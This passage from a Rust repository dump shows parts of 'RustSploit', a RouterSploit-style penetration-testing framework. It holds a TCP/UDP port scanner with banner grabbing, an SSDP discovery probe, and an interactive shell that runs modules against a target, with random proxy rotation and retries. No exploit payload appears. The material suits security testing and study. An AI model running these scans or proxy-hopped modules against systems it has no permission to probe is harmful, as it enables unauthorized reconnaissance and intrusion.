88 | let line = format!("[TCP] {}:{} => {}", ip_str, port, status); 89 | if status == "OPEN" || !show_only_open { 90 | if !banner.is_empty() { 91 | let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner); 92 | if verbose { 93 | println!("{} | Banner: {}", line, banner); 94 | } 95 | } else { 96 | let _ = writeln!(file.lock().unwrap(), "{}", line); 97 | if verbose { 98 | println!("{}", line); 99 | } 100 | } 101 | } 102 | } 103 | progress_bar.lock().unwrap().increment(); 104 | }); 105 | tasks.push(handle); 106 | } 107 | 108 | // UDP Scan loop 109 | if scan_udp_enabled { 110 | println!("[*] Starting UDP scan..."); 111 | for port in 1..=65535u16 { 112 | let permit = semaphore.clone().acquire_owned().await?; 113 | let file = file.clone(); 114 | let progress_bar = progress_bar.clone(); 115 | let ip = resolved_ip; 116 | let ip_str = resolved_ip_str.clone(); 117 | 118 | let handle = tokio::spawn(async move { 119 | let _permit = permit; 120 | if let Some(status) = scan_udp(&ip, port, timeout_secs).await { 121 | let line = format!("[UDP] {}:{} => {}", ip_str, port, status); 122 | if status == "OPEN" || !show_only_open { 123 | let _ = writeln!(file.lock().unwrap(), "{}", line); 124 | if verbose { 125 | println!("{}", line); 126 | } 127 | } 128 | } 129 | progress_bar.lock().unwrap().increment(); 130 | }); 131 | tasks.push(handle); 132 | } 133 | } 134 | 135 | // Await all tasks 136 | for task in tasks { 137 | let _ = task.await; 138 | } 139 | 140 | println!("[*] Scan complete. Results saved to {}", output_file); 141 | Ok(()) 142 | } 143 | 144 | /// === TCP Port Scanner (Banner Grab) === 145 | async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> { 146 | let addr = SocketAddr::new(*ip, port); 147 | match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await { 148 | Ok(Ok(stream)) => { 149 | let mut buf = [0u8; 1024]; 150 | // Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc) 151 | match timeout(Duration::from_secs(2), stream.readable()).await { 152 | Ok(Ok(())) => match stream.try_read(&mut buf) { 153 | Ok(n) if n > 0 => { 154 | let banner = String::from_utf8_lossy(&buf[..n]).to_string(); 155 | Some(("OPEN".into(), banner)) 156 | } 157 | _ => Some(("OPEN".into(), "".into())), 158 | }, 159 | _ => Some(("OPEN".into(), "".into())), 160 | } 161 | } 162 | Ok(Err(_)) => Some(("CLOSED".into(), "".into())), 163 | Err(_) => Some(("TIMEOUT".into(), "".into())), 164 | } 165 | } 166 | 167 | /// === UDP Port Scanner (Stateless "Fire-and-Forget") === 168 | async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option { 169 | // We bind to a random UDP port on localhost 170 | let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" }; 171 | let sock = match UdpSocket::bind(bind_addr).await { 172 | Ok(s) => s, 173 | Err(_) => return Some("ERROR".into()), 174 | }; 175 | 176 | let target = SocketAddr::new(*ip, port); 177 | let payload = b"\x00\x00\x10\x10"; // Random small packet 178 | let _ = sock.send_to(payload, target).await; 179 | // Set a timeout: if port is closed, we should get "Connection refused" 180 | let mut buf = [0u8; 512]; 181 | match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await { 182 | Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response! 183 | Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable 184 | Err(_) => Some("FILTERED".into()), // No response 185 | } 186 | } 187 | 188 | /// === Target Resolution === 189 | fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> { 190 | let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']'); 191 | let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect(); 192 | // Prefer IPv4, else fallback to first address 193 | if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) { 194 | Ok((addr.ip().to_string(), addr.ip())) 195 | } else if let Some(addr) = addrs.first() { 196 | Ok((addr.ip().to_string(), addr.ip())) 197 | } else { 198 | Err(anyhow!("Could not resolve target '{}'", input)) 199 | } 200 | } 201 | 202 | /// === Prompt Utilities === 203 | fn prompt(message: &str) -> Result { 204 | print!("{}", message); 205 | io::stdout().flush()?; 206 | let mut buf = String::new(); 207 | io::stdin().read_line(&mut buf)?; 208 | Ok(buf.trim().to_string()) 209 | } 210 | 211 | fn prompt_bool(message: &str) -> Result { 212 | loop { 213 | let input = prompt(message)?; 214 | match input.to_lowercase().as_str() { 215 | "y" | "yes" => return Ok(true), 216 | "n" | "no" => return Ok(false), 217 | _ => println!("Please enter 'y' or 'n'."), 218 | } 219 | } 220 | } 221 | 222 | fn prompt_usize(message: &str) -> Result { 223 | loop { 224 | let input = prompt(message)?; 225 | if let Ok(n) = input.parse::() { 226 | return Ok(n); 227 | } 228 | println!("Please enter a valid number."); 229 | } 230 | } 231 | 232 | /// === Progress Bar Struct === 233 | struct ProgressBar { 234 | total: usize, 235 | current: usize, 236 | } 237 | impl ProgressBar { 238 | fn new(total: usize) -> Self { 239 | ProgressBar { total, current: 0 } 240 | } 241 | fn increment(&mut self) { 242 | self.current += 1; 243 | if self.current % 1000 == 0 || self.current == self.total { 244 | println!("[*] Progress: {}/{}", self.current, self.total); 245 | } 246 | } 247 | } 248 | -------------------------------------------------------------------------------- /src/modules/scanners/sample_scanner.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use reqwest; 3 | 4 | /// A simple scanner that tries an HTTP GET and prints the response code 5 | pub async fn run(target: &str) -> Result<()> { 6 | println!("[*] Running sample_scanner on: {}", target); 7 | 8 | let url = format!("http://{}", target); 9 | let resp = reqwest::get(&url) 10 | .await 11 | .context("Failed to send request")?; 12 | 13 | println!("[*] Status code: {}", resp.status()); 14 | Ok(()) 15 | } 16 | -------------------------------------------------------------------------------- /src/modules/scanners/ssdp_msearch.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result}; 2 | use regex::Regex; 3 | use std::collections::HashMap; 4 | use std::net::SocketAddr; 5 | use tokio::net::UdpSocket; 6 | use tokio::time::{timeout, Duration}; 7 | 8 | pub async fn run(target: &str) -> Result<()> { 9 | let port = prompt_port().unwrap_or(1900); 10 | 11 | let target = clean_ipv6_brackets(target); 12 | 13 | let addr = normalize_target(&target, port)?; 14 | 15 | println!("[*] Sending SSDP M-SEARCH to {}...", addr); 16 | 17 | let local_bind: SocketAddr = "0.0.0.0:0".parse()?; 18 | let socket = UdpSocket::bind(local_bind).await?; 19 | socket.connect(&addr).await?; 20 | 21 | let request = format!( 22 | "M-SEARCH * HTTP/1.1\r\n\ 23 | HOST: {}:{}\r\n\ 24 | MAN: \"ssdp:discover\"\r\n\ 25 | MX: 2\r\n\ 26 | ST: upnp:rootdevice\r\n\r\n", 27 | target, port 28 | ); 29 | 30 | socket.send(request.as_bytes()).await?; 31 | 32 | let mut buf = vec![0u8; 2048]; 33 | match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await { 34 | Ok(Ok(size)) => { 35 | let response = String::from_utf8_lossy(&buf[..size]); 36 | parse_ssdp_response(&response, &target, port); 37 | } 38 | _ => { 39 | println!("[-] Target did not respond to M-SEARCH request"); 40 | } 41 | } 42 | 43 | Ok(()) 44 | } 45 | 46 | /// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port 47 | fn normalize_target(target: &str, port: u16) -> Result { 48 | let addr = if target.contains(':') && !target.contains(']') { 49 | // Plain IPv6 without brackets 50 | format!("[{}]:{}", target, port) 51 | } else if target.contains('[') { 52 | // Already bracketed IPv6 (sanitize just in case) 53 | format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port) 54 | } else { 55 | // IPv4 or hostname 56 | format!("{}:{}", target, port) 57 | }; 58 | Ok(addr) 59 | } 60 | 61 | /// Cleans up accidental double or triple brackets like [[::1]] → ::1 62 | fn clean_ipv6_brackets(ip: &str) -> String { 63 | ip.trim_start_matches('[') 64 | .trim_end_matches(']') 65 | .to_string() 66 | } 67 | 68 | /// Ask user for port (optional), fallback to 1900 if empty 69 | fn prompt_port() -> Option { 70 | println!("[*] Enter custom port (default 1900): "); 71 | let mut input = String::new(); 72 | if let Ok(_) = std::io::stdin().read_line(&mut input) { 73 | let input = input.trim(); 74 | if input.is_empty() { 75 | return None; 76 | } 77 | if let Ok(p) = input.parse::() { 78 | return Some(p); 79 | } 80 | } 81 | None 82 | } 83 | 84 | fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) { 85 | let regexps = vec![ 86 | ("server", r"(?i)Server:\s*(.*?)\r\n"), 87 | ("location", r"(?i)Location:\s*(.*?)\r\n"), 88 | ("usn", r"(?i)USN:\s*(.*?)\r\n"), 89 | ]; 90 | 91 | let mut results: HashMap<&str, String> = HashMap::new(); 92 | 93 | for (key, pattern) in regexps { 94 | if let Ok(re) = Regex::new(pattern) { 95 | if let Some(caps) = re.captures(response) { 96 | results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string()); 97 | } else { 98 | results.insert(key, String::from("")); 99 | } 100 | } 101 | } 102 | 103 | println!( 104 | "[+] {}:{} | {} | {} | {}", 105 | target_ip, 106 | port, 107 | results.get("server").unwrap_or(&"".to_string()), 108 | results.get("location").unwrap_or(&"".to_string()), 109 | results.get("usn").unwrap_or(&"".to_string()) 110 | ); 111 | } 112 | -------------------------------------------------------------------------------- /src/shell.rs: -------------------------------------------------------------------------------- 1 | use crate::commands; 2 | use crate::utils; 3 | use anyhow::Result; 4 | use rand::prelude::*; // Updated for rand 0.10 5 | use std::env; 6 | use std::io::{self, Write}; 7 | use std::collections::HashSet; 8 | 9 | /// Simple interactive shell context 10 | struct ShellContext { 11 | current_module: Option, 12 | current_target: Option, 13 | proxy_list: Vec, 14 | proxy_enabled: bool, 15 | } 16 | 17 | impl ShellContext { 18 | fn new() -> Self { 19 | ShellContext { 20 | current_module: None, 21 | current_target: None, 22 | proxy_list: Vec::new(), 23 | proxy_enabled: false, 24 | } 25 | } 26 | } 27 | 28 | pub async fn interactive_shell() -> Result<()> { 29 | println!("Welcome to RustSploit Shell (inspired by RouterSploit)"); 30 | println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave."); 31 | 32 | let mut ctx = ShellContext::new(); 33 | 34 | loop { 35 | print!("rsf> "); 36 | io::stdout().flush()?; 37 | 38 | let mut input = String::new(); 39 | io::stdin().read_line(&mut input)?; 40 | let input = input.trim(); 41 | 42 | if input.is_empty() { 43 | continue; 44 | } 45 | 46 | match input { 47 | "exit" | "quit" => { 48 | println!("Exiting..."); 49 | break; 50 | }, 51 | "help" => { 52 | println!("Available commands:"); 53 | println!(" use - Select a module (e.g. 'use exploits/sample_exploit')"); 54 | println!(" set target - Set the target IP/host"); 55 | println!(" run - Run the current module (with proxy retries if enabled)"); 56 | println!(" modules - List available modules"); 57 | println!(" find - Search for a module by keyword"); 58 | println!(" proxy_load - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)"); 59 | println!(" proxy_on - Enable proxy usage"); 60 | println!(" proxy_off - Disable proxy usage"); 61 | println!(" show_proxies - Show loaded proxies & current proxy status"); 62 | println!(" exit, quit - Exit the shell"); 63 | }, 64 | "modules" => { 65 | utils::list_all_modules(); 66 | }, 67 | cmd if cmd.starts_with("find ") => { 68 | let keyword = cmd.trim_start_matches("find ").trim(); 69 | if keyword.is_empty() { 70 | println!("Usage: find "); 71 | } else { 72 | utils::find_modules(keyword); 73 | } 74 | }, 75 | cmd if cmd.starts_with("proxy_load ") => { 76 | let file = cmd.trim_start_matches("proxy_load ").trim(); 77 | match utils::load_proxies_from_file(file) { 78 | Ok(list) => { 79 | ctx.proxy_list = list; 80 | println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file); 81 | } 82 | Err(e) => { 83 | println!("Failed to load proxies: {}", e); 84 | } 85 | } 86 | }, 87 | "proxy_on" => { 88 | ctx.proxy_enabled = true; 89 | println!("Proxy usage enabled."); 90 | }, 91 | "proxy_off" => { 92 | ctx.proxy_enabled = false; 93 | println!("Proxy usage disabled."); 94 | clear_proxy_env_vars(); 95 | }, 96 | "show_proxies" => { 97 | if ctx.proxy_list.is_empty() { 98 | println!("No proxies loaded. Use 'proxy_load ' to load them."); 99 | } else { 100 | println!("Loaded proxies ({}):", ctx.proxy_list.len()); 101 | for p in &ctx.proxy_list { 102 | println!(" {}", p); 103 | } 104 | } 105 | println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" }); 106 | }, 107 | cmd if cmd.starts_with("use ") => { 108 | let module_path = cmd.trim_start_matches("use ").trim(); 109 | if utils::module_exists(module_path) { 110 | ctx.current_module = Some(module_path.to_string()); 111 | println!("Module '{}' selected.", module_path); 112 | } else { 113 | println!("Module '{}' not found.", module_path); 114 | } 115 | }, 116 | cmd if cmd.starts_with("set ") => { 117 | let parts: Vec<&str> = cmd.split_whitespace().collect(); 118 | if parts.len() >= 3 && parts[1] == "target" { 119 | ctx.current_target = Some(parts[2].to_string()); 120 | println!("Target set to {}", parts[2]); 121 | } else { 122 | println!("Usage: set target "); 123 | } 124 | }, 125 | "run" => { 126 | if let Some(ref module_path) = ctx.current_module { 127 | if let Some(ref t) = ctx.current_target { 128 | // ----------------------------- 129 | // NEW: Proxy Retry Logic 130 | // ----------------------------- 131 | if ctx.proxy_enabled && !ctx.proxy_list.is_empty() { 132 | let mut tried_proxies = HashSet::new(); 133 | let mut success = false; 134 | 135 | while tried_proxies.len() < ctx.proxy_list.len() { 136 | let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies); 137 | set_all_proxy_env(&chosen_proxy); 138 | println!("[*] Using proxy: {}", chosen_proxy); 139 | 140 | println!("Running module '{}' against target '{}'", module_path, t); 141 | match commands::run_module(module_path, t).await { 142 | Ok(_) => { 143 | success = true; 144 | break; 145 | } 146 | Err(e) => { 147 | eprintln!("[!] Module failed with error: {:?}", e); 148 | eprintln!(" Retrying with a new proxy..."); 149 | tried_proxies.insert(chosen_proxy); 150 | } 151 | } 152 | } 153 | 154 | if !success { 155 | println!("[!] All proxies failed. Trying direct connection..."); 156 | clear_proxy_env_vars(); 157 | if let Err(e) = commands::run_module(module_path, t).await { 158 | eprintln!("[!] Final direct attempt also failed: {:?}", e); 159 | } 160 | } 161 | } else if ctx.proxy_enabled && ctx.proxy_list.is_empty() { 162 | println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt..."); 163 | clear_proxy_env_vars(); 164 | if let Err(e) = commands::run_module(module_path, t).await { 165 | eprintln!("[!] Module failed: {:?}", e); 166 | } 167 | } else { 168 | clear_proxy_env_vars(); 169 | if let Err(e) = commands::run_module(module_path, t).await { 170 | eprintln!("[!] Module failed: {:?}", e); 171 | } 172 | } 173 | } else { 174 | println!("No target set. Use 'set target ' first."); 175 | } 176 | } else { 177 | println!("No module selected. Use 'use ' first."); 178 | } 179 | }, 180 | _ => { 181 | println!("Unknown command: '{}'. Type 'help' for usage.", input); 182 | }, 183 | } 184 | } 185 | 186 | Ok(()) 187 | } 188 | 189 | /// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`. 190 | fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet) -> String { 191 | let untried: Vec<&String> = proxy_list.iter() 192 | .filter(|p| !tried_proxies.contains(*p)) 193 | .collect(); 194 | 195 | if untried.is_empty() { 196 | // Fall back if somehow there's nothing untried 197 | let mut rng = rand::rng(); 198 | let idx = rng.random_range(0..proxy_list.len()); 199 | return proxy_list[idx].clone(); 200 | } 201 | 202 | let mut rng = rand::rng(); 203 | let idx = rng.random_range(0..untried.len()); 204 | untried[idx].clone() 205 | } 206 | 207 | /// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https) 208 | fn set_all_proxy_env(proxy: &str) { 209 | env::set_var("ALL_PROXY", proxy); 210 | } 211 | 212 | /// Clears environment variables for direct connection 213 | fn clear_proxy_env_vars() { 214 | env::remove_var("ALL_PROXY"); 215 | env::remove_var("HTTP_PROXY"); 216 | env::remove_var("HTTPS_PROXY"); 217 | } 218 | -------------------------------------------------------------------------------- /src/utils.rs: -------------------------------------------------------------------------------- 1 | // src/utils.rs 2 | 3 | use colored::*; 4 | use std::fs; 5 | use std::io::{BufRead, BufReader, Error}; 6 | use std::path::Path; 7 | use anyhow::{Result}; 8 | 9 | /// Maximum folder depth to traverse 10 | const MAX_DEPTH: usize = 6; 11 | 12 | /// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and 13 | /// always return a valid “host:port” or “[ipv6]:port” string. 14 | pub fn normalize_target(raw: &str) -> Result { 15 | if raw.contains("]:") || raw.starts_with('[') { 16 | // Already normalized, like [::1]:8080 or [2001:db8::1] 17 | return Ok(raw.to_string()); 18 | } 19 | 20 | // Looks like an unwrapped IPv6 address if it has multiple colons 21 | let is_ipv6 = raw.matches(':').count() >= 2; 22 | 23 | if is_ipv6 { 24 | Ok(format!("[{}]", raw)) 25 | } else { 26 | Ok(raw.to_string()) 27 | } 28 | } 29 | 30 | 31 | /// Recursively list .rs files up to a certain depth (unchanged) 32 | fn collect_module_paths(dir: &Path, depth: usize) -> Vec { 33 | let mut modules = Vec::new(); 34 | 35 | if depth > MAX_DEPTH || !dir.exists() { 36 | return modules; 37 | } 38 | 39 | if let Ok(entries) = fs::read_dir(dir) { 40 | for entry in entries.flatten() { 41 | let path = entry.path(); 42 | 43 | if path.is_dir() { 44 | modules.extend(collect_module_paths(&path, depth + 1)); 45 | } else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) { 46 | if file_name.ends_with(".rs") && file_name != "mod.rs" { 47 | let relative_path = path 48 | .strip_prefix("src/modules") 49 | .unwrap_or(&path) 50 | .with_extension("") 51 | .to_string_lossy() 52 | .replace('\\', "/"); // For Windows 53 | modules.push(relative_path); 54 | } 55 | } 56 | } 57 | } 58 | 59 | modules 60 | } 61 | 62 | /// Dynamically checks if a module path exists at any depth (unchanged) 63 | pub fn module_exists(module_path: &str) -> bool { 64 | let modules = collect_module_paths(Path::new("src/modules"), 0); 65 | modules.iter().any(|m| m == module_path) 66 | } 67 | 68 | /// Lists all available modules recursively under src/modules/ (unchanged) 69 | pub fn list_all_modules() { 70 | println!("{}", "Available modules:".bold().underline()); 71 | let modules = collect_module_paths(Path::new("src/modules"), 0); 72 | if modules.is_empty() { 73 | println!("{}", "No modules found.".red()); 74 | return; 75 | } 76 | 77 | let mut grouped = std::collections::BTreeMap::new(); 78 | 79 | for module in modules { 80 | let parts: Vec<&str> = module.split('/').collect(); 81 | let category = parts.get(0).unwrap_or(&"Other").to_string(); 82 | grouped 83 | .entry(category) 84 | .or_insert_with(Vec::new) 85 | .push(module.clone()); 86 | } 87 | 88 | for (category, paths) in grouped { 89 | println!("\n{}:", category.blue().bold()); 90 | for path in paths { 91 | println!(" - {}", path.green()); 92 | } 93 | } 94 | } 95 | 96 | /// Finds and displays modules matching a keyword (unchanged) 97 | pub fn find_modules(keyword: &str) { 98 | let keyword_lower = keyword.to_lowercase(); 99 | let modules = collect_module_paths(Path::new("src/modules"), 0); 100 | 101 | let filtered: Vec = modules 102 | .into_iter() 103 | .filter(|m| m.to_lowercase().contains(&keyword_lower)) 104 | .collect(); 105 | 106 | if filtered.is_empty() { 107 | println!( 108 | "{}", 109 | format!("No modules found matching '{}'.", keyword).red() 110 | ); 111 | return; 112 | } 113 | 114 | println!( 115 | "{}", 116 | format!("Modules matching '{}':", keyword).bold().underline() 117 | ); 118 | 119 | let mut grouped = std::collections::BTreeMap::new(); 120 | for module in filtered { 121 | let parts: Vec<&str> = module.split('/').collect(); 122 | let category = parts.get(0).unwrap_or(&"Other").to_string(); 123 | grouped 124 | .entry(category) 125 | .or_insert_with(Vec::new) 126 | .push(module.clone()); 127 | } 128 | 129 | for (category, paths) in grouped { 130 | println!("\n{}:", category.blue().bold()); 131 | for path in paths { 132 | println!(" - {}", path.green()); 133 | } 134 | } 135 | } 136 | 137 | /// Parses a single proxy line (unchanged) 138 | fn parse_proxy_line(line: &str) -> String { 139 | let trimmed = line.trim().to_lowercase(); 140 | if trimmed.starts_with("http://") 141 | || trimmed.starts_with("https://") 142 | || trimmed.starts_with("socks4://") 143 | || trimmed.starts_with("socks5://") 144 | { 145 | line.to_string() 146 | } else { 147 | format!("http://{}", line) 148 | } 149 | } 150 | 151 | /// Load proxies from a file, returning normalized proxy URLs (unchanged) 152 | pub fn load_proxies_from_file(filename: &str) -> Result, Error> { 153 | let file = fs::File::open(filename)?; 154 | let reader = BufReader::new(file); 155 | 156 | let mut proxies = Vec::new(); 157 | for line in reader.lines() { 158 | let line = line?.trim().to_string(); 159 | if !line.is_empty() { 160 | proxies.push(parse_proxy_line(&line)); 161 | } 162 | } 163 | 164 | Ok(proxies) 165 | } 166 | --------------------------------------------------------------------------------